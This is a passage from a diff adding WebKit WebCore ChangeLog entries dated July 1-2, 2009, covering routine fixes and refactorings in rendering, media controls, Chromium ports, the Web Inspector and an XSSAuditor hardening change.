+        object when the selection spans multiple objects
+
+        Get the focused node from the end of the selection, not the start,
+        so we can detect when we cross object boundaries.
+
+        * editing/gtk/SelectionControllerGtk.cpp:
+        (WebCore::SelectionController::notifyAccessibilityForSelectionChange):
+
+2009-07-02  Pierre d'Herbemont  <pdherbemont@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26947
+
+        Fix the media controls hit tests. They may lose click events.
+
+        Test cases already covered in the video-controls-zoomed tests.
+
+        Don't trust wkHitTestMediaUIPart for the tests. We are accurate enough.
+
+        * rendering/RenderThemeMac.h: Remove hitTestMediaControlPart.
+        * rendering/RenderThemeMac.mm: Remove hitTestMediaControlPart.
+
+2009-07-02  Roland Steiner  <rolandsteiner@google.com>
+
+        Reviewed by Eric Seidel.
+
+        RenderBlock and RenderInline have confusingly named object creation methods:
+        RenderBlock::createRootBox/createRootInlineBox
+        RenderInline::createFlowBox/createInlineFlowBox
+        where the 2nd method in both cases just calls the first and then appends the created object.
+        I therefore renamed those methods to something IMHO more informative:
+        
+        createRootBox()         -> createRootInlineBox()
+        createRootInlineBox()   -> createAndAppendRootInlineBox();
+        createFlowBox()         -> createInlineFlowBox();
+        createInlineFlowBox()   -> createAndAppendInlineFlowBox();
+
+        https://bugs.webkit.org/show_bug.cgi?id=26828
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::createRootInlineBox):
+        (WebCore::RenderBlock::createAndAppendRootInlineBox):
+        * rendering/RenderBlock.h:
+        * rendering/RenderInline.cpp:
+        (WebCore::RenderInline::createInlineFlowBox):
+        (WebCore::RenderInline::createAndAppendInlineFlowBox):
+        * rendering/RenderInline.h:
+        * rendering/RenderSVGInline.cpp:
+        (WebCore::RenderSVGInline::createInlineFlowBox):
+        * rendering/RenderSVGInline.h:
+        * rendering/RenderSVGText.cpp:
+        (WebCore::RenderSVGText::createRootInlineBox):
+        * rendering/RenderSVGText.h:
+        * rendering/bidi.cpp:
+        (WebCore::createInlineBoxForRenderer):
+
+2009-07-02  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Fix typo in the resource panel enabler caption.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26753
+
+        * English.lproj/localizedStrings.js:
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel):
+
+2009-07-02  Erik Arvidsson  <arv@chromium.org>
+
+        Reviewed by Adam Roben.
+
+        [Win] HTML5 Drag and drop, dragend is not fired when pressing Esc
+        https://bugs.webkit.org/show_bug.cgi?id=26699
+
+        * manual-tests/drag-escape.html: Added.
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::dragSourceEndedAt):
+
+2009-07-02  Pierre d'Herbemont  <pdherbemont@apple.com>
+
+        Reviewed by Simon Fraser. 
+        
+        https://bugs.webkit.org/show_bug.cgi?id=26944
+
+        Make sure we support full page zoom in video controls.
+
+        This is tracked by a the video-controls-zoom test case.
+
+        * css/mediaControlsQT.css: Make sure we don't have any inherited margin.
+        * rendering/MediaControlElements.cpp:
+        (WebCore::MediaControlElement::updateStyle): Propagate the style to the innertext.
+        * rendering/RenderThemeMac.mm: Adjust the painting rect.
+        (WebCore::getUnzoomedRectAndAdjustCurrentContext):
+        (WebCore::RenderThemeMac::paintMediaSliderTrack):
+        (WebCore::RenderThemeMac::paintMediaCurrentTime):
+        (WebCore::RenderThemeMac::paintMediaTimeRemaining):
+
+2009-07-02  Pierre d'Herbemont  <pdherbemont@apple.com>
+
+        Fix the Gtk build after r45474. The localized strings should
+        have been added there.
+
+        * platform/gtk/LocalizedStringsGtk.cpp:
+        (WebCore::mediaElementLoadingStateText):
+        (WebCore::mediaElementLiveBroadcastStateText):
+
+2009-07-02  Pierre d'Herbemont  <pdherbemont@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26939
+
+        Media controller is rendered badly at http://www.mozilla.com/en-US/firefox/video/firefox-3.5.html
+
+        We fix two things:
+        - We use px instead of em, because px is used everywhere else
+        and because 0.09em hit the font size limit.
+        - We use -webkit-box instead of inline-block because in strict mode
+        inline-block has a different behavior.
+
+        Test: media/controls-strict.html
+
+        * css/mediaControlsQT.css:
+
+2009-07-02  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        TextIterator should use hasOverflowClip when checking for overflow instead of looking at the style.
+        https://bugs.webkit.org/show_bug.cgi?id=26942
+
+        * editing/TextIterator.cpp:
+        (WebCore::fullyClipsContents):
+
+2009-07-02  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Dave Hyatt.
+
+        Fix for <rdar://problem/5230700>
+        Remove local .xhtml file workaround
+
+        * platform/network/mac/ResourceResponseMac.mm:
+        (WebCore::ResourceResponse::platformLazyInit): Work around is no longer necessary.
+
+2009-07-02  Anders Carlsson  <andersca@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Sort, add functions used by WebKit.
+        
+        * WebCore.base.exp:
+
+2009-07-02  Brady Eidson  <beidson@apple.com>
+
+        Rubberstamped by Sam Weinig.
+
+        More of <rdar://problem/6969425> Safari 4.0 doesn't recognize text/plain files if their extension is unknown.
+
+        * platform/network/mac/WebCoreURLResponse.mm:
+        (webNSURLResponseMIMEType): Give Tiger a chance to query the UTI machinery.
+
+2009-07-02  Adam Langley  <agl@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Chromium Linux: fix complex text rendering with line break characters.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26935
+
+        If the CSS white-space property is inhibiting line breaking, we might
+        find end-of-line characters rendered via the complex text path. Fonts
+        don't provide glyphs for these code points so, if we find one, we
+        simulate the space glyph being interposed in this case.  Because the
+        input is variable-length per code point, we walk the input in step
+        with the output.
+
+        Covered by:
+            LayoutTests/fast/text/international/bidi-linebreak-002.html
+            LayoutTests/fast/text/international/bidi-linebreak-003.html
+            LayoutTests/fast/text/international/hindi-whitespace.html
+
+        * platform/graphics/chromium/HarfbuzzSkia.cpp:
+        (WebCore::stringToGlyphs):
+
+2009-07-02  Victor Wang  <victorw@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26521
+        Expose file size to chromium.
+
+        Implement getFileSize() for Chromium.
+
+        * platform/chromium/ChromiumBridge.h:
+        * platform/chromium/FileSystemChromium.cpp:
+        (WebCore::getFileSize):
+
+2009-07-02  Nate Chapin  <japhet@chromium.org>
+
+        Unreviewed, build fix.
+
+        * bindings/v8/V8SVGPODTypeWrapper.h: Lost a space in nested template argument list.
+
+2009-07-02  Simon Fraser  <simon.fraser@apple.com>
+
+        Build fix: add missing #include.
+
+        * platform/mac/ThemeMac.mm:
+
+2009-07-02  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dave Hyatt.
+
+        <rdar://problem/7028682> ThemeMac::paintRadio() throws Obj-C exceptions when zoomed
+
+        Add BEGIN_BLOCK_OBJC_EXCEPTIONS/END_BLOCK_OBJC_EXCEPTIONS guards around code
+        that can possibly throw Objective-C exceptions when drawing Mac form controls.
+
+        * platform/mac/ThemeMac.mm:
+        (WebCore::paintCheckbox):
+        (WebCore::paintRadio):
+        (WebCore::paintButton):
+        (WebCore::ThemeMac::inflateControlPaintRect):
+
+2009-07-02  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by David Levin.
+
+        Upstream V8SVGPODTypeWrapper.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26907
+
+        * bindings/scripts/CodeGeneratorV8.pm: Update function being renamed in V8SVGPODTypeWrapper.h.
+        * bindings/v8/V8SVGPODTypeWrapper.h: Upstreamed from src.chromium.org.
+
+2009-07-02  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Adds an abstraction layer between the DB classes and the file
+        system, which allows us to add our own logic for storing, opening,
+        deleting, etc. databases.
+
+        The patch was tested using the tests in WebCore/storage.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26054
+
+        * GNUmakefile.am:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * platform/sql/SQLiteDatabase.cpp:
+        (WebCore::SQLiteDatabase::open): Delegating the job of opening DB files to SQLiteFileSystem to allow use of custom VFSs.
+        * platform/sql/SQLiteFileSystem.cpp: Added.
+        * platform/sql/SQLiteFileSystem.h: Added.
+        * platform/win/FileSystemWin.cpp:
+        (WebCore::directoryName): Implemented.
+        * storage/Database.cpp:
+        (WebCore::Database::databaseSize): The code that returns the size of a DB file moved to SQLiteFileSystem.
+        * storage/DatabaseTracker.cpp:
+        (WebCore::DatabaseTracker::DatabaseTracker): Added the ability to register a custom SQLite VFS.
+        (WebCore::DatabaseTracker::trackerDatabasePath): DB file-related operations moved to SQLiteFileSystem.
+        (WebCore::DatabaseTracker::openTrackerDatabase): DB file-related operations moved to SQLiteFileSystem.
+        (WebCore::DatabaseTracker::originPath): DB file-related operations moved to SQLiteFileSystem.
+        (WebCore::DatabaseTracker::fullPathForDatabase): DB file-related operations moved to SQLiteFileSystem.
+        (WebCore::DatabaseTracker::usageForDatabase): DB file-related operations moved to SQLiteFileSystem.
+        (WebCore::DatabaseTracker::deleteOrigin): DB file-related operations moved to SQLiteFileSystem.
+        (WebCore::DatabaseTracker::deleteDatabaseFile): DB file-related operations moved to SQLiteFileSystem.
+        * storage/OriginUsageRecord.cpp:
+        (WebCore::OriginUsageRecord::diskUsage): DB file-related operations moved to SQLiteFileSystem.
+
+2009-07-02  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Always clip replaced elements to border radii.
+        https://bugs.webkit.org/show_bug.cgi?id=26933
+
+        Make sure to always clip replaced elements to border radii, even when overflow is visible.
+        Stop defaulting those elements to overflow:hidden in the UA sheet, since it is now no longer
+        necessary.
+
+        Covered by existing tests (since the UA default changing keeps the behavior exactly the same).
+
+        * css/html.css:
+        * rendering/RenderReplaced.cpp:
+        (WebCore::RenderReplaced::paint):
+        * rendering/RenderWidget.cpp:
+        (WebCore::RenderWidget::paint):
+
+2009-07-02  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Simon Fraser.
+
+        convertFromScrollbarToContainingView and friends should be in ScrollView
+        https://bugs.webkit.org/show_bug.cgi?id=26929
+
+        This is breaking Chromium's build because PopupMenuChromium inherits
+        from ScrollView, but these functions are pure virtual in it.  I could
+        put it directly in PopupMenuChromium, but that seems a bit silly since
+        the functions are fairly generic.
+
+        Passes existing layout tests.
+
+        * page/FrameView.cpp:  Remove the 4 functions Hyatt just added
+        (IntRect WebCore::FrameView::convertFromScrollbarToContainingView):
+        (IntRect WebCore::FrameView::convertFromContainingViewToScrollBar):
+        (IntPoint WebCore::FrameView::convertFromScrollbarToContainingView):
+        (IntPoint WebCore::FrameView::convertFromContainingViewToScrollBar):
+        * page/FrameView.h: ditto
+        * platform/ScrollView.cpp:  Move the 4 functions from FrameView here
+        (IntRect WebCore::ScrollView::convertFromScrollbarToContainingView):
+        (IntRect WebCore::ScrollView::convertFromContainingViewToScrollBar):
+        (IntPoint WebCore::ScrollView::convertFromScrollbarToContainingView):
+        (IntPoint WebCore::ScrollView::convertFromContainingViewToScrollBar):
+        * platform/ScrollView.h: ditto
+
+2009-07-02  Dirk Pranke  <dpranke@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Fix https://bugs.webkit.org/show_bug.cgi?id=26088 - TransparencyWin 
+        doesn't handle errors well at all; revise it to fail silently 
+        (drawing nothing), and bulletproof FontChromiumWin to handle the
+        failure accordingly.
+
+        Tests: fast/text/text-large-negative-letter-spacing-with-opacity.html
+               fast/text/text-letter-spacing.html
+
+        * platform/graphics/chromium/FontChromiumWin.cpp:
+        (WebCore::TransparencyAwareFontPainter::TransparencyAwareFontPainter::initializeForGDI):
+        (WebCore::TransparencyAwareFontPainter::TransparencyAwareFontPainter::~TransparencyAwareFontPainter):
+        (WebCore::TransparencyAwareFontPainter::TransparencyAwareGlyphPainter::TransparencyAwareGlyphPainter):
+        (WebCore::TransparencyAwareFontPainter::TransparencyAwareGlyphPainter::~TransparencyAwareGlyphPainter):
+        (WebCore::TransparencyAwareFontPainter::TransparencyAwareGlyphPainter::drawGlyphs):
+        (WebCore::Font::drawGlyphs):
+        (WebCore::Font::drawComplexText):
+        * platform/graphics/chromium/TransparencyWin.cpp:
+        (WebCore::TransparencyWin::TransparencyWin):
+        (WebCore::TransparencyWin::setupLayerForNoLayer):
+        (WebCore::TransparencyWin::setupLayerForOpaqueCompositeLayer):
+        (WebCore::TransparencyWin::setupLayerForWhiteLayer):
+        (WebCore::TransparencyWin::setupTransformForKeepTransform):
+        (WebCore::TransparencyWin::setupTransformForScaleTransform):
+        (WebCore::TransparencyWin::initializeNewContext):
+        (WebCore::TransparencyWin::compositeOpaqueComposite):
+        (WebCore::TransparencyWin::compositeTextComposite):
+        (WebCore::TransparencyWin::makeLayerOpaque):
+        * platform/graphics/chromium/TransparencyWin.h:
+        (WebCore::TransparencyWin::platformContext):
+
+2009-07-02  Eric Carlson  <eric.carlson@apple.com>
+
+        Change #import to #include to fix non-ObjC builds.
+
+        * rendering/MediaControlElements.cpp:
+
+2009-07-02  Anders Carlsson  <andersca@apple.com>
+
+        Build fix.
+        
+        * platform/network/mac/WebCoreURLResponse.mm:
+        (mimeTypeFromUTITree):
+
+2009-07-02  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Fix for bug 22119, clicks in the scrollbars of transformed content don't work.  Add new
+        conversion methods for going across parent/child widget boundaries that can be implemented
+        by the FrameView and ScrollbarClient to be transform-aware.
+
+        Test cases added in platform/mac/fast/forms and platform/mac/fast/overflow.
+
+        * WebCore.base.exp:
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::handleMouseMoveEvent):
+        * page/FrameView.cpp:
+        (WebCore::FrameView::convertFromScrollbarToContainingView):
+        (WebCore::FrameView::convertFromContainingViewToScrollbar):
+        (WebCore::FrameView::convertFromRenderer):
+        (WebCore::FrameView::convertToRenderer):
+        (WebCore::FrameView::convertToContainingView):
+        (WebCore::FrameView::convertFromContainingView):
+        * page/FrameView.h:
+        * platform/ScrollView.h:
+        * platform/Scrollbar.cpp:
+        (WebCore::Scrollbar::convertToContainingView):
+        (WebCore::Scrollbar::convertFromContainingView):
+        * platform/Scrollbar.h:
+        * platform/ScrollbarClient.h:
+        (WebCore::ScrollbarClient::convertFromScrollbarToContainingView):
+        (WebCore::ScrollbarClient::convertFromContainingViewToScrollbar):
+        * platform/Widget.cpp:
+        (WebCore::Widget::convertFromContainingWindow):
+        (WebCore::Widget::convertToContainingWindow):
+        (WebCore::Widget::convertFromRootToContainingWindow):
+        (WebCore::Widget::convertFromContainingWindowToRoot):
+        (WebCore::Widget::convertToContainingView):
+        (WebCore::Widget::convertFromContainingView):
+        * platform/Widget.h:
+        * platform/graphics/IntPoint.h:
+        (WebCore::IntPoint::move):
+        * platform/mac/WidgetMac.mm:
+        (WebCore::Widget::convertFromRootToContainingWindow):
+        (WebCore::Widget::convertFromContainingWindowToRoot):
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::isPointInOverflowControl):
+        * rendering/RenderDataGrid.cpp:
+        (WebCore::RenderDataGrid::convertFromScrollbarToContainingView):
+        (WebCore::RenderDataGrid::convertFromContainingViewToScrollbar):
+        * rendering/RenderDataGrid.h:
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::convertFromScrollbarToContainingView):
+        (WebCore::RenderLayer::convertFromContainingViewToScrollbar):
+        (WebCore::RenderLayer::scrollbarOffset):
+        (WebCore::RenderLayer::hitTestOverflowControls):
+        * rendering/RenderLayer.h:
+        * rendering/RenderListBox.cpp:
+        (WebCore::RenderListBox::isPointInOverflowControl):
+        (WebCore::RenderListBox::convertFromScrollbarToContainingView):
+        (WebCore::RenderListBox::convertFromContainingViewToScrollbar):
+        * rendering/RenderListBox.h:
+
+2009-07-02  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Dave Hyatt and Simon Fraser.
+
+        - fix <rdar://problem/6933052> SPOD playing video in a div with a box
+          shadow
+
+        Test: fast/box-shadow/transform-fringing.html
+
+        * rendering/RenderBoxModelObject.cpp:
+        (WebCore::RenderBoxModelObject::paintBoxShadow): Clip out the
+        box even if it has an opaque background, but in that case, inset the
+        clip path by 1 pixel, to avoid antialiasing artifacts.
+        Do not inset the clip rect by 1 pixel if the CTM is purely a
+        translation.
+        Move the shadow-casting path away in the non-rounded-rect case (it
+        was already being done in the rounded-rect case), to avoid a black
+        fringe when the CTM is not purely a translation.
+
+2009-07-02  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        <rdar://problem/6969425> Safari 4.0 doesn't recognize text/plain files if their extension is unknown.
+
+        Walk the CoreTypes UTI tree for extensions with unknown MIME types, using the first MIME type found.
+
+        For many types of text files (such as source code files) this ends up being text/plain.
+
+        * platform/network/mac/ResourceHandleMac.mm:
+        (-[WebCoreResourceHandleAsDelegate connection:didReceiveResponse:]): Tweak the logging output.
+
+        * platform/network/mac/WebCoreURLResponse.h:
+        * platform/network/mac/WebCoreURLResponse.mm:
+        (mimeTypeFromUTITree): 
+        (webNSURLResponseMIMEType): Use mimeTypeFromUTITree() to find a UTI-based MIME type for this file's extension.
+        (-[NSURLResponse _webcore_reportedMIMEType]): Return the actual MIME type that CFNetwork gave us.
+
+2009-07-02  Pierre d'Herbemont  <pdherbemont@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        <rdar://problem/6518119>
+
+        Add a rewind button and hide the timeline for live broadcasts when
+        in MediaUI mode.
+
+        * css/CSSPrimitiveValueMappings.h: 
+        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue): Add the new pseudo element.
+
+        * css/CSSSelector.cpp:
+        (WebCore::CSSSelector::extractPseudoType): Ditto.
+        * css/CSSSelector.h: 
+
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::SelectorChecker::checkOneSelector): Ditto.
+
+        * css/CSSValueKeywords.in: Ditto.
+        * css/mediaControls.css: Ditto.
+        * css/mediaControlsQT.css: Ditto.
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::rewind): New.
+        (WebCore::HTMLMediaElement::returnToRealTime): New.
+        (WebCore::HTMLMediaElement::isStreaming): New.
+        * html/HTMLMediaElement.h:
+
+        * page/mac/WebCoreViewFactory.h: Declare mediaElementLoadingStateText and mediaElementLiveBroadcastStateText.
+
+        * platform/LocalizedStrings.h: Add localized media state messages.
+
+        * platform/ThemeTypes.h: Add the new pseudo element.
+
+        * platform/mac/LocalizedStringsMac.mm: 
+        (WebCore::mediaElementLoadingStateText): Add localized media state.
+        (WebCore::mediaElementLiveBroadcastStateText): Ditto.
+
+        * platform/mac/WebCoreSystemInterface.h: Change BOOL param wkDrawMediaUIPart to an int to support
+           multiple states.
+        * platform/mac/WebCoreSystemInterface.mm: Ditto.
+
+        * rendering/MediaControlElements.cpp: 
+        (WebCore::MediaControlElement::MediaControlElement): Deal with new elements.
+        (WebCore::MediaControlElement::attachToParent): Ditto.
+        (WebCore::MediaControlElement::update): Ditto.
+        (WebCore::MediaControlElement::updateStyle): Ditto.
+        (WebCore::MediaControlTimelineContainerElement::MediaControlTimelineContainerElement): Ditto.
+        (WebCore::MediaControlTimelineContainerElement::rendererIsNeeded): Ditto.
+        (WebCore::MediaControlStatusDisplayElement::MediaControlStatusDisplayElement): Ditto.
+        (WebCore::MediaControlStatusDisplayElement::update): Ditto.
+        (WebCore::MediaControlStatusDisplayElement::rendererIsNeeded): Ditto.
+        (WebCore::MediaControlInputElement::MediaControlInputElement): Ditto.
+        (WebCore::MediaControlInputElement::attachToParent): Ditto.
+        (WebCore::MediaControlInputElement::updateStyle): Ditto.
+        (WebCore::MediaControlRewindButtonElement::MediaControlRewindButtonElement): Ditto.
+        (WebCore::MediaControlRewindButtonElement::defaultEventHandler): Ditto.
+        (WebCore::MediaControlReturnToRealtimeButtonElement::MediaControlReturnToRealtimeButtonElement): Ditto.
+        (WebCore::MediaControlReturnToRealtimeButtonElement::defaultEventHandler): Ditto.
+        (WebCore::MediaControlReturnToRealtimeButtonElement::rendererIsNeeded): Ditto.
+        (WebCore::MediaControlTimelineElement::defaultEventHandler): Ditto.
+        (WebCore::MediaControlTimelineElement::update): Ditto.
+        (WebCore::MediaControlFullscreenButtonElement::rendererIsNeeded): Ditto.
+        * rendering/MediaControlElements.h: Ditto.
+
+        * rendering/RenderMedia.cpp: 
+        (WebCore::RenderMedia::styleDidChange): Deal with the new elements.
+        (WebCore::RenderMedia::createPanel): Ditto.
+        (WebCore::RenderMedia::createRewindButton): Ditto.
+        (WebCore::RenderMedia::createReturnToRealtimeButton): Ditto.
+        (WebCore::RenderMedia::createStatusDisplay): Ditto.
+        (WebCore::RenderMedia::createTimelineContainer): Ditto.
+        (WebCore::RenderMedia::createCurrentTimeDisplay): Ditto.
+        (WebCore::RenderMedia::createTimeRemainingDisplay): Ditto.
+        (WebCore::RenderMedia::updateControls): Ditto.
+        (WebCore::RenderMedia::forwardEvent): Ditto.
+        * rendering/RenderMedia.h:
+
+        * rendering/RenderTheme.cpp:
+        (WebCore::RenderTheme::paint): Deal with the new elements.
+
+        * rendering/RenderTheme.h:
+        (WebCore::RenderTheme::paintMediaRewindButton): Deal with the new elements.
+        (WebCore::RenderTheme::paintMediaReturnToRealtimeButton): Ditto.
+        (WebCore::RenderTheme::paintMediaControlsBackground): Ditto.
+
+        * rendering/RenderThemeMac.h:
+        * rendering/RenderThemeMac.mm:
+        (WebCore::RenderThemeMac::paintMediaRewindButton): Deal with the new elements.
+        (WebCore::RenderThemeMac::paintMediaReturnToRealtimeButton): Ditto.
+        (WebCore::RenderThemeMac::paintMediaControlsBackground): Ditto.
+
+        * rendering/style/RenderStyleConstants.h: Add constants for the new elements.
+
+2009-07-01  John Abd-El-Malek  <jam@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Small refactoring of MessagePortChannel so that PlatformMessagePortChannel
+        may be defined at the WebKit layer.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26905
+
+        * dom/MessageChannel.cpp:
+        (WebCore::MessageChannel::MessageChannel):
+        * dom/MessagePortChannel.cpp:
+        * dom/MessagePortChannel.h:
+        * dom/default/PlatformMessagePortChannel.cpp:
+        (WebCore::MessagePortChannel::createChannel):
+        (WebCore::MessagePortChannel::create):
+        (WebCore::MessagePortChannel::MessagePortChannel):
+        (WebCore::MessagePortChannel::~MessagePortChannel):
+
+2009-07-01  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        <video> fails to show on http://camendesign.com/code/video_for_everybody
+        <rdar://problem/7026010>
+        https://bugs.webkit.org/show_bug.cgi?id=26919
+
+        Fix an issue introduced in r44961. In that revision we changed to only update
+        compositing layer geometry when all siblings had been laid out (i.e. we pushed
+        the updates one level down). However, that left out the root layer, so this
+        fix ensures that the root layer geometry gets updated at the end.
+
+        Test: compositing/geometry/root-layer-update.html
+
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::updateAfterLayout):
+
+2009-07-01  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein
+        
+        <rdar://problem/7026010> <video> fails to show on http://camendesign.com/code/video_for_everybody
+
+        First part of fix: when outline width changes, don't to a synchronous
+        layer update right away, but just set the flag to say that compositing
+        layers need updating. The synchronous layer update left the layer geometries
+        out of whack when it happened in the middle of layout (e.g. when inside ::first-letter).
+        
+        Test: compositing/geometry/outline-change.html
+
+        * rendering/RenderView.cpp:
+        (WebCore::RenderView::setMaximalOutlineSize):
+
+2009-07-01  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26842
+        Build fix when ENABLE_DATABASE is off
+
+        Move Database.h into ENABLE(DATABASE) guard so toggling ENABLE_DATABASE
+        off does not break builds.
+
+        * bindings/js/ScriptObjectQuarantine.cpp:
+
+2009-07-01  Daniel Bates  <dbates@intudata.com>
+
+        Reviewed by Adam Barth.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=26899
+        
+        Modified XSSAuditor::decodeURL to only remove null characters so that 
+        it is consistent with the behavior of HTMLTokenizer and prevents 
+        injected scripts that contain control characters. 
+
+        Tests: http/tests/security/xssAuditor/script-tag-control-char.html
+               http/tests/security/xssAuditor/script-tag-null-char.html
+
+        * page/XSSAuditor.cpp:
+        (WebCore::XSSAuditor::decodeURL): Modified to only remove null characters. 
+        * page/XSSAuditor.h: Reverted naming of third argument of method XSSAuditor::decodeURL
+        from allowControlCharacters back to allowNullCharacters.
+        * platform/network/ResourceResponseBase.cpp: Reverted back to rev #45003.
+        (WebCore::isControlCharacter):
+        * platform/network/ResourceResponseBase.h: Reverted back to rev #45003.  
+
+2009-07-01  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        - supported keyboard shortcuts compatible with Firebug in Scripts Debugger:
+        F5, Ctrl+/ (win,lin), Command+/ (mac) - continue
+        F10, Ctrl+' (win, lin), Command+' (mac) - step over
+        F11, Ctrl+; (win, lin), Command+; (mac) - step into
+        Shift+F11, Ctrl+Shift+; (win, lin), Command+Shift+; (mac) - step out
+
+        - added call stack navigation shortcuts:
+        Ctrl+. - next call frame
+        Ctrl+, - previouse call frame
+
+        https://bugs.webkit.org/show_bug.cgi?id=23849
+
+        * inspector/front-end/CallStackSidebarPane.js:
+        (WebInspector.CallStackSidebarPane):
+        (WebInspector.CallStackSidebarPane.prototype.handleKeyEvent):
+        (WebInspector.CallStackSidebarPane.prototype._selectNextCallFrameOnStack):
+        (WebInspector.CallStackSidebarPane.prototype._selectPreviousCallFrameOnStack):
+        (WebInspector.CallStackSidebarPane.prototype._selectedPlacardByIndex):
+        (WebInspector.CallStackSidebarPane.prototype._selectedCallFrameIndex):
+        * inspector/front-end/KeyboardShortcut.js: Added.
+        (WebInspector.KeyboardShortcut):
+        (WebInspector.KeyboardShortcut.makeKey):
+        (WebInspector.KeyboardShortcut.makeKeyFromEvent):
+        (WebInspector.KeyboardShortcut.makeKeyFromCodeAndModifiers_):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel):
+        (WebInspector.ScriptsPanel.prototype.handleKeyEvent):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.html:
+
+2009-07-01  Daniel Erat  <derat@google.com>
+
+        Reviewed by David Levin.
+
+        Chromium Linux: Move the scrollbar thumb on middle-click.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26910
+        http://code.google.com/p/chromium/issues/detail?id=11976
+
+        Tested by building Chrome and checking that the scrollbar moves as expected.
+
+        * platform/chromium/ScrollbarThemeChromium.cpp:
+        * platform/chromium/ScrollbarThemeChromium.h:
+        * platform/chromium/ScrollbarThemeChromiumLinux.cpp:
+        * platform/chromium/ScrollbarThemeChromiumLinux.h:
+        * platform/chromium/ScrollbarThemeChromiumWin.cpp:
+        * platform/chromium/ScrollbarThemeChromiumWin.h:
+
+2009-07-01  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Add a preference/setting to toggle whether content sniffing is enabled for file URLs.
+
+        * WebCore.base.exp:
+
+        * page/Settings.cpp:
+        (WebCore::Settings::setLocalFileContentSniffingEnabled):
+        * page/Settings.h:
+        (WebCore::Settings::localFileContentSniffingEnabled):
+
+        * platform/network/mac/ResourceHandleMac.mm:
+        (WebCore::ResourceHandle::start):
+        (-[WebCoreResourceHandleAsDelegate connection:didReceiveResponse:]):
+
+2009-07-01  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Bug 26909: aria-label needs to be supported
+        https://bugs.webkit.org/show_bug.cgi?id=26909
+
+        Test: accessibility/aria-label.html
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::accessibilityDescription):
+        * html/HTMLAttributeNames.in:
+
+2009-07-01  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        More datagrid columns work.  Make sure columns cache both a style for the column header as well
+        as a style for the column background (behind the cells).
+
+        Hook up to CSSStyleSelector methods for obtaining the pseudo styles for columns (stubbed out and
+        unimplemented).
+
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::pseudoStyleForDataGridColumn):
+        (WebCore::CSSStyleSelector::pseudoStyleForDataGridColumnHeader):
+        * css/CSSStyleSelector.h:
+        * html/DataGridColumn.h:
+        (WebCore::DataGridColumn::setColumnList):
+        (WebCore::DataGridColumn::columnStyle):
+        (WebCore::DataGridColumn::setColumnStyle):
+        (WebCore::DataGridColumn::headerStyle):
+        (WebCore::DataGridColumn::setHeaderStyle):
+        * rendering/RenderDataGrid.cpp:
+        (WebCore::RenderDataGrid::recalcStyleForColumn):
+        (WebCore::RenderDataGrid::columnStyle):
+        (WebCore::RenderDataGrid::headerStyle):
+        (WebCore::RenderDataGrid::paintColumnHeaders):
+        * rendering/RenderDataGrid.h:
+
+2009-07-01  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Oliver Hunt.
+        
+        <rdar://problem/7009870> After <audio> movie finishes playing, Pause button fails to change 
+        back to Play button
+
+        Grab onto the current time when QTKit "ended" notification fires and use it as 
+        duration from that point on as QuickTime sometimes refuses to play all the way to
+        the time it reports for duration and buffered. HTMLMediaElement assumes that there
+        more to play in this situation and tries to restart playback, endlessly.
+
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.h:
